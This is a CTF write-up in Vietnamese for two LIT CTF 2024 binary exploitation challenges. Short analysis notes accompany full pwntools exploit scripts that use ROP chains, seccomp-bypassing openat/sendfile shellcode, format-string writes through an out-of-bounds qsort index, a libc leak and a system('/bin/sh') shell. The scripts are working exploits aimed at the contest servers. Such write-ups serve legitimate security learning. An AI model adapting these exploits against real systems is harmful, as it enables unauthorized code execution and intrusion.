# (writeup) LIT CTF 2024
- skip mấy chall đầu =))
## w4dup 2de
- basic file check

- seccomp

- check ida

### analyse
- PIE tĩnh, file chỉ có 1 hàm ---> ret2dlresolved
- có thể dùng tool python để generate dlresolve nhưng hên xui lắm
- ở đây sẽ chơi "fong kách" khác
- kết hợp csu với lại resolve


- chỉ cần $rbp mình là got đến libc với $ebx là offset, sẽ tuỳ ý có được địa chỉ libc mình muốn mà không cần leak
- có sẵn gadget $rdi và $rsi, bị filter execve nên system hay one_gadget là không thể --> ret2shellcode


- flow như script là: pop_rdx (change size) -> sys_ret (call read for payload 2) -> pop_rax (0xa) -> pop_rdx (0x7) -> sys_ret (call mprotect) -> pop_rax (0) -> pop_rdx (change size) -> sys_ret (call read shellcode) -> pop_rax (shell_addr) -> jmp_rax
- shellcode là openat và sendfile, với "flag.txt" là địa chỉ tương đối
> không xài ORW được vì seccomp nó xét fd phải = 0 khi read
- hơi dài =))) (hoặc dùng tool Ret2dlresolved luôn cũng dịu)
### getflag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./main_patched', checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
context.binary = exe
context.arch = 'amd64'
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+39
b*main+59
c
''')
input()
if args.REMOTE:
p = remote('litctf.org',31771)
else:
p = process(exe.path)
GDB()
csu = 0x00000000004013ca
pop_rdi = 0x00000000004013d3
pop_rsi_r15 = 0x00000000004013d1
rw_section = 0x404a00
pop_rdx_r12 = 0x119431
off_to_pop_rdx_r12 = pop_rdx_r12 - libc.sym.read #1
syscall_ret = 0x13a7cb
off_to_syscall_ret = syscall_ret - pop_rdx_r12 #2
pop_rax = 0x36174
off_to_pop_rax = pop_rax - 0x13a7cb #3
jmp_rax = 0x000000000040110c
call_rax = 0x0000000000401014
add = 0x000000000040117c
#add dword ptr [rbp - 0x3d], ebx ; nop ; ret
pop_rbp =0x000000000040117d
leave_ret = 0x000000000040132d
shellcode = shellcraft.openat(-100, 'flag.txt', 0)
shellcode += shellcraft.sendfile(1,'rax',0,0x80)
payload = b'a'*8*5
payload += p64(csu)
payload += p64(off_to_pop_rdx_r12,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) + p64(0x800) + p64(0) #pop_rdx_r12
payload += p64(pop_rsi_r15) + p64(rw_section) + p64(0) #pop rsi r15
payload += p64(csu)
payload += p64(off_to_syscall_ret,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) #syscall_ret #call read part2
payload += p64(pop_rbp) + p64(rw_section-8) #pop rbp
payload += p64(leave_ret) #leave_ret
s(payload)
off_to_syscall_ret_1 = syscall_ret - pop_rax
off_to_pop_rax_2 = pop_rax - syscall_ret
off_to_pop_rdx_r12 = pop_rdx_r12 - pop_rax
off_to_syscall_ret_2 = syscall_ret - pop_rdx_r12
off_to_pop_rax_3 = pop_rax - syscall_ret
payload = p64(csu)
payload += p64(off_to_pop_rax,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) + p64(0)
payload += p64(csu)
payload += p64(off_to_syscall_ret_1,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(pop_rsi_r15) + p64(rw_section + 0x400) + p64(0)
payload += p64(exe.sym.read) #syscall_ret #call read shellcode in rw_section+0x400
payload += p64(csu)
payload += p64(off_to_pop_rax_2,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) + p64(0xa) #rax=0xa
payload += p64(csu)
payload += p64(off_to_pop_rdx_r12,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) + p64(0x7) + p64(0) #rdx=7
payload += p64(csu)
payload += p64(off_to_syscall_ret_2,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(pop_rdi) + p64(0x404000)
payload += p64(pop_rsi_r15) + p64(0x1000) + p64(0)
payload += p64(exe.sym.read) #syscall_ret #call mprotect
payload += p64(csu)
payload += p64(off_to_pop_rax_3,sign=True) #rbx
payload += p64(exe.got.read+0x3d) #rbp
payload += p64(0)*4 #r12-r15
payload += p64(add)
payload += p64(exe.sym.read) + p64(rw_section + 0x400)
# payload += p64(jmp_rax)
payload += p64(call_rax)
s(payload)
sleep(2)
sl(asm(shellcode))
p.interactive()
#LITCTF{dup_dup_dup_duuuuuuuuuup_222222}
```
## How to Raise a Boring Vuln Flat
- basic file check

- check ida

### analyse
- BUG khá rõ là OOB


- ở đây sẽ tận dụng 1 là got@**printf** để fmtstr, 2 là dùng got@**scanf** để làm được nhiều thứ hơn
- với index ``-7``, là ``-8 = -7 -1`` trỏ got@**scanf**, ta có thể khiến **qsort()** đó thực hiện plt@**scanf** nhiều lần ứng với số **nums** ta nhập từ đầu
---> arbitrary write
- và để leak libc chỉ còn cách fmtstr ``%X$s`` với `X` là offset trên stack đến `_IO_2_1_stdout`

>payload : ``b"%171" + b" " + b"$s\0\0" + b" "``(convert về int -> u32)
- Ta ow _flags đến write_base với write_ptr
- leak xong sẽ end ---> tận dụng lần nhập **scanf** tiếp theo ow ret của **scanf** thành `_start` (brute 1 byte--> chance 1/16)

>main+314: call qsort
>return: main+319
- nhưng vấn đề là chain tương tự như z thì bị lỗi trong quá trình **qsort()**
>lấy số này đắp số kia, bị nối chuỗi, %s ở stack k phải là 1 địa chỉ khác, ...
- nên sẽ chain đệm thêm fmtstr không gây ảnh hưởng gì ("$s")
> `b"$s\0\0" + b" "`
- gọi fmtstr ow stdout là A, fmtstr ow ret là B
- ban đầu A + đệm + B bị fail
- nhưng chèn như thế sẽ bị thay đổi offset, DEBUG nhiều lần và thấy để đệm "$s" đầu tiên thì lại smooth (đệm + A + B) nên tính offset lại:


- nên lấy stack trước ret value để ow hơn 8 byte, cụ thể là 10 byte cho 2 byte ow brute --> "$10c" (take exactly 10 byte)
- nhưng trong quá trình debug thì thấy tồn tại 1 byte "\n" từ trước nên chỉ padding 7 byte rồi 2 byte ow
- sau khi loop, ta tiếp tục fmtstr scanf để chain ROP

- local with parameter NOASLR

### getflag
- 2 bytes ow (brute 1/16) lấy mẫu cho NOASLR làm cho REMOTE vẫn được

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./bflat_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
def GDB(p):
if not args.REMOTE:
gdb.attach(p, gdbscript='''
set solib-search-path /home/hlaan/ctf/litctf/vuln_flat/
b*main+314
b*msort_with_tmp+390
c
b*$rcx
''')
input()
bstr = lambda x: str(x).encode()
def conn():
if args.REMOTE:
return remote('litctf.org',31775)
else:
return process(exe.path)
def main():
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
p = conn()
GDB(p)
sla(b"ints?\n",b'5')
payload = bstr(u32(b"$s\0\0")) + b" "
payload += bstr(u32(b"%157")) + b" "
payload += bstr(u32(b"$s\0\0")) + b" "
payload += bstr(u32(b"%46$")) + b" "
payload += bstr(u32(b"10c\0")) + b" "
sla(b"space):\n",payload)
sla(b"reverse):\n",b"-7")
stdout = p64(0xfbad1807)+p64(0)*3 #auto append null bytes due to newline
payload = b"A"*7 + b"\x20\x51" #brute
#$s
sl(payload) #32$10c
#$s
#$s
sl(stdout) #%157$s
sl(stdout) #%157$s
sl(stdout) #%157$s
p.recvuntil(b"\xe0")
libc.address = u64(b"\xe0"+p.recv(7)) - libc.sym._IO_2_1_stdin_
info("libc leak: " + hex(libc.address))
sl(b'2')
payload = bstr(u32(b"%18$")) + b" "
payload += bstr(u32(b"s\0\0\0")) + b" "
sl(payload)
sl(b"-7")
rop = ROP(libc)
payload = b'A'*8
payload += p64(rop.rdi.address) + p64(next(libc.search(b"/bin/sh\0")))
payload += p64(rop.ret.address)
payload += p64(libc.sym.system)
sl(payload)
p.interactive()
if __name__ == "__main__":
while True:
try:
main()
except Exception as e:
print(e)
continue
#LITCTF{0hh_1_l1k3_d0ck3r5_w17h_r007_pr1v1l3g3s}
```